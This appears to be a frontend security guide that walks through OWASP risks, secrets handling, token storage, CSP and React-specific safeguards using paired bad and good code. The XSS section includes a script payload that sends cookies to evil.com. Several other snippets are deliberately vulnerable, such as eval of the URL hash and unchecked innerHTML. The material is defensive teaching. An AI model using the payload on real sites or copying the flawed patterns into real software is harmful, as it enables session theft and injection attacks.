Security Fundamentals · How it works
2 min read- How it works
- OWASP Top 10 for Frontend
- 1. Cross-Site Scripting (XSS)
- Types of XSS
- XSS Prevention
- 2. Broken Access Control
- 3. Sensitive Data Exposure
- 4. Security Misconfiguration
- 5. Cross-Site Request Forgery (CSRF)
- 6. Insecure Dependencies
- Secrets and Credentials Management
- Development Environment
- Environment Variables (.env files)
- What Can Go in Frontend Environment Variables
- Production Environment
- Build-Time Injection (CI/CD)
- Runtime Configuration (for dynamic config)
- Handling API Keys
- Public vs Secret Keys
- Restricting Public API Keys
- Token and Session Management
- JWT Storage
- Secure Authentication Flow
- Input Validation and Sanitization
- Client-Side Validation
- URL Validation
- Content Security Policy (CSP)
- Secure Communication
- HTTPS Only
- Secure Fetch Requests
- React-Specific Security
- Avoiding href javascript:
- Security Checklist
How it works
OWASP Top 10 for Frontend
Understanding how OWASP vulnerabilities manifest in frontend code is essential for building secure applications.
1. Cross-Site Scripting (XSS)
XSS is the most common frontend vulnerability. It occurs when untrusted data is included in web pages without proper validation or escaping.
Types of XSS
Reflected XSS: Malicious script from the current HTTP request
// ❌ Bad: URL parameter directly inserted into DOM
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Results for: ${searchTerm}`;
// Attack: ?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Stored XSS: Malicious script stored on target server
// ❌ Bad: User comment rendered without sanitization
const comment = await fetchComment(id);
commentDiv.innerHTML = comment.text; // If comment contains <script>, it executes!
DOM-based XSS: Vulnerability exists in client-side code
// ❌ Bad: Using eval or Function constructor with user input
const userInput = location.hash.substring(1);
eval(userInput); // Extremely dangerous!
XSS Prevention
// ✅ Good: Use textContent for text (auto-escapes)
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').textContent = `Results for: ${searchTerm}`;
// ✅ Good: Use a sanitization library for HTML content
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(userProvidedHtml);
element.innerHTML = cleanHtml;
// ✅ Good: React auto-escapes by default
function Comment({ text }) {
return <p>{text}</p>; // Safe - React escapes this
}
// ⚠️ Caution: dangerouslySetInnerHTML requires sanitization
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}
2. Broken Access Control
Frontend must enforce access control even though backend validates too (defense in depth).
// ❌ Bad: Hiding UI doesn't prevent access
function AdminPanel() {
const user = useUser();
if (!user.isAdmin) return null; // Attacker can still call API directly!
return <AdminDashboard />;
}
// ✅ Good: UI reflects backend authorization + backend enforces
function AdminPanel() {
const user = useUser();
const { data, error } = useQuery('/api/admin/dashboard');
if (error?.status === 403) return <AccessDenied />;
if (!user.isAdmin) return null;
return <AdminDashboard data={data} />;
}
3. Sensitive Data Exposure
Never expose sensitive data in frontend code or client-side storage.
// ❌ Bad: API keys in frontend code
const API_KEY = 'sk_live_abc123'; // Anyone can see this!
fetch(`https://api.stripe.com/v1/charges`, {
headers: { 'Authorization': `Bearer ${API_KEY}` }
});
// ✅ Good: Proxy through your backend
fetch('/api/payments/charge', {
method: 'POST',
body: JSON.stringify({ amount: 1000 })
});
// ❌ Bad: Storing sensitive data in localStorage
localStorage.setItem('creditCard', JSON.stringify(cardData));
// ✅ Good: Only store non-sensitive identifiers
sessionStorage.setItem('cartId', cartId);
4. Security Misconfiguration
// ❌ Bad: Exposing stack traces to users
try {
await riskyOperation();
} catch (error) {
showError(error.stack); // Reveals internal details
}
// ✅ Good: Generic user message, detailed logging
try {
await riskyOperation();
} catch (error) {
console.error('Operation failed:', error); // For developers
showError('Something went wrong. Please try again.'); // For users
}
5. Cross-Site Request Forgery (CSRF)
CSRF tricks users into performing unintended actions on authenticated sites.
// ✅ Good: Include CSRF token with state-changing requests
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ to: account, amount: 100 })
});
// ✅ Good: Use SameSite cookies (backend config)
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
6. Insecure Dependencies
# Check for vulnerabilities
npm audit
# Fix vulnerabilities automatically where possible
npm audit fix
# Check specific package
npm audit --package-lock-only
// ✅ Good: Use lockfiles and review updates
// package-lock.json or yarn.lock should be committed
// ✅ Good: Use Dependabot or Snyk for automated alerts
Secrets and Credentials Management
Development Environment
Golden Rule: Never commit secrets to source control. Use environment variables.
Environment Variables (.env files)
# .env.local (gitignored!)
VITE_API_BASE_URL=http://localhost:3000
VITE_ANALYTICS_ID=UA-DEV-12345
# .env.production (can be committed - no secrets)
VITE_API_BASE_URL=https://api.myapp.com
// Vite
const apiUrl = import.meta.env.VITE_API_BASE_URL;
// Create React App
const apiUrl = process.env.REACT_APP_API_URL;
// Next.js
const apiUrl = process.env.NEXT_PUBLIC_API_URL;
Important: Environment variables prefixed with VITE_, REACT_APP_, or NEXT_PUBLIC_ are embedded in the build and visible to anyone. Never put secrets there!
What Can Go in Frontend Environment Variables
# ✅ Safe: Public configuration
VITE_API_BASE_URL=https://api.myapp.com
VITE_GOOGLE_ANALYTICS_ID=UA-123456789-1
VITE_SENTRY_DSN=https://abc@sentry.io/123
VITE_STRIPE_PUBLISHABLE_KEY=pk_live_xyz # Publishable keys are designed to be public
# ❌ Never: Secret keys
VITE_STRIPE_SECRET_KEY=sk_live_abc # NEVER - this is a secret!
VITE_DATABASE_URL=postgres://... # NEVER - backend only
VITE_JWT_SECRET=... # NEVER - backend only
Production Environment
Build-Time Injection (CI/CD)
# GitHub Actions example
jobs:
build:
steps:
- name: Build
env:
VITE_API_URL: ${{ vars.API_URL }}
VITE_ANALYTICS_ID: ${{ vars.ANALYTICS_ID }}
run: npm run build
Runtime Configuration (for dynamic config)
// config.js - loaded at runtime from server
window.__CONFIG__ = {
apiUrl: '{{API_URL}}', // Replaced by server/CDN
analyticsId: '{{ANALYTICS_ID}}'
};
// Usage
const config = window.__CONFIG__ || {
apiUrl: import.meta.env.VITE_API_BASE_URL
};
Handling API Keys
Public vs Secret Keys
| Type | Example | Can Use in Frontend? |
|---|---|---|
| Publishable | Stripe pk_*, Google Maps API Key | ✅ Yes |
| Secret | Stripe sk_*, AWS Secret Key | ❌ Never |
| Restricted | API key with domain restriction | ✅ Yes, with restrictions |
Restricting Public API Keys
// ✅ Good: Use API keys with restrictions
// - Google Maps: Restrict to your domains in Google Cloud Console
// - Stripe Publishable: Automatically restricted to your Stripe account
// ✅ Good: Proxy sensitive operations through backend
async function createPaymentIntent(amount) {
// Don't call Stripe directly with secret key
const response = await fetch('/api/payments/intent', {
method: 'POST',
body: JSON.stringify({ amount })
});
return response.json();
}
Token and Session Management
JWT Storage
// ❌ Bad: Storing JWT in localStorage (vulnerable to XSS)
localStorage.setItem('token', jwt);
// ✅ Better: HttpOnly cookie (set by backend)
// Frontend doesn't handle the token at all
// ✅ Alternative: In-memory storage (lost on refresh)
let accessToken = null;
function setToken(token) {
accessToken = token;
}
function getToken() {
return accessToken;
}
// Use refresh token (HttpOnly cookie) to get new access token
async function refreshAccessToken() {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include' // Sends HttpOnly cookies
});
const { accessToken } = await response.json();
setToken(accessToken);
}
Secure Authentication Flow
// ✅ Good: OAuth/OIDC flow with PKCE
import { createPKCECodes, exchangeCodeForToken } from './auth';
async function login() {
const { codeVerifier, codeChallenge } = await createPKCECodes();
sessionStorage.setItem('pkce_verifier', codeVerifier);
const authUrl = new URL('https://auth.provider.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI);
authUrl.searchParams.set('code_challenge', codeChallenge);
authUrl.searchParams.set('code_challenge_method', 'S256');
window.location.href = authUrl.toString();
}
async function handleCallback(code) {
const codeVerifier = sessionStorage.getItem('pkce_verifier');
sessionStorage.removeItem('pkce_verifier');
const tokens = await exchangeCodeForToken(code, codeVerifier);
// Store tokens securely...
}
Input Validation and Sanitization
Client-Side Validation
// ✅ Good: Validate before sending to server (UX + defense in depth)
function validateEmail(email) {
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return emailRegex.test(email);
}
function validatePassword(password) {
const errors = [];
if (password.length < 12) errors.push('At least 12 characters');
if (!/[A-Z]/.test(password)) errors.push('At least one uppercase letter');
if (!/[a-z]/.test(password)) errors.push('At least one lowercase letter');
if (!/[0-9]/.test(password)) errors.push('At least one number');
if (!/[^A-Za-z0-9]/.test(password)) errors.push('At least one special character');
return errors;
}
// Remember: Backend MUST also validate! Client validation is for UX only.
URL Validation
// ✅ Good: Validate URLs before using them
function isValidHttpUrl(string) {
try {
const url = new URL(string);
return url.protocol === 'http:' || url.protocol === 'https:';
} catch {
return false;
}
}
// ✅ Good: Allowlist for redirects
const ALLOWED_REDIRECT_HOSTS = ['myapp.com', 'auth.myapp.com'];
function safeRedirect(url) {
try {
const parsed = new URL(url, window.location.origin);
if (ALLOWED_REDIRECT_HOSTS.includes(parsed.hostname)) {
window.location.href = parsed.toString();
} else {
window.location.href = '/';
}
} catch {
window.location.href = '/';
}
}
Content Security Policy (CSP)
CSP prevents XSS by controlling what resources can load.
<!-- ✅ Good: Strict CSP -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.myapp.com;
font-src 'self';
frame-ancestors 'none';
">
// Working with strict CSP in React/Vue
// ❌ Bad: Inline event handlers (blocked by CSP)
<button onclick="handleClick()">Click</button>
// ✅ Good: Event listeners
<button id="myBtn">Click</button>
<script>
document.getElementById('myBtn').addEventListener('click', handleClick);
</script>
// ✅ Good: React/Vue (no inline handlers in output)
<button onClick={handleClick}>Click</button>
Secure Communication
HTTPS Only
// ✅ Good: Enforce HTTPS in service worker
self.addEventListener('fetch', (event) => {
const url = new URL(event.request.url);
// Redirect HTTP to HTTPS
if (url.protocol === 'http:' && url.hostname !== 'localhost') {
url.protocol = 'https:';
event.respondWith(Response.redirect(url.toString(), 301));
return;
}
// ... handle request
});
Secure Fetch Requests
// ✅ Good: Secure fetch configuration
async function securePost(url, data) {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest' // Helps prevent CSRF
},
credentials: 'same-origin', // Only send cookies to same origin
body: JSON.stringify(data)
});
if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}
return response.json();
}
React-Specific Security
// ❌ Bad: dangerouslySetInnerHTML without sanitization
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// ✅ Good: Sanitize before rendering
import DOMPurify from 'dompurify';
function Comment({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// ✅ Good: Use markdown renderer with sanitization
import ReactMarkdown from 'react-markdown';
function Comment({ markdown }) {
return <ReactMarkdown>{markdown}</ReactMarkdown>;
}
Avoiding href javascript:
// ❌ Bad: User-controlled href can execute JavaScript
function UserLink({ url, text }) {
return <a href={url}>{text}</a>; // url could be "javascript:alert('xss')"
}
// ✅ Good: Validate URL protocol
function UserLink({ url, text }) {
const safeUrl = /^https?:\/\//i.test(url) ? url : '#';
return <a href={safeUrl}>{text}</a>;
}
Security Checklist
- [ ] All user input sanitized before DOM insertion
- [ ] Using
textContentinstead ofinnerHTMLwhere possible - [ ] DOMPurify or similar for any HTML rendering
- [ ] No secrets in frontend code or environment variables
- [ ] API keys restricted by domain where possible
- [ ] HTTPS enforced for all requests
- [ ] Tokens stored securely (HttpOnly cookies or memory)
- [ ] CSRF protection implemented
- [ ] CSP headers configured
- [ ] Dependencies regularly audited (
npm audit) - [ ] Error messages don't expose sensitive information
- [ ] URL validation before redirects
- [ ] No
eval()ornew Function()with user input